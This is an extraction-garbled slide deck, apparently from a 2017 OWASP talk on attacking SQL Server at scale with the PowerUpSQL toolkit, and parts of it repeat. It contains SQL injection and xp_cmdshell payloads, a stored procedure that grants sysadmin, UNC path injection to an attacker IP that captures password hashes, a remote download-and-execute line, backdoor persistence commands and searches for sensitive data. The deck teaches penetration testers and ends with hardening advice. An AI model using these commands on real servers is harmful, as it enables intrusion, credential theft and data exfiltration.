Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 4: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Why SQL Server Used in most enterprise environments

Supports local Windows and Domain authentication

Integrates with lots of Windows applications

Generally has trust relationships that other donrsquot

Why PowerShell Native to Windows

Run commands in memory

Run managed net code

Run unmanaged code

Avoid detection by legacy Anti-virus

Already flagged as trusted by most application whitelist solutions

A medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

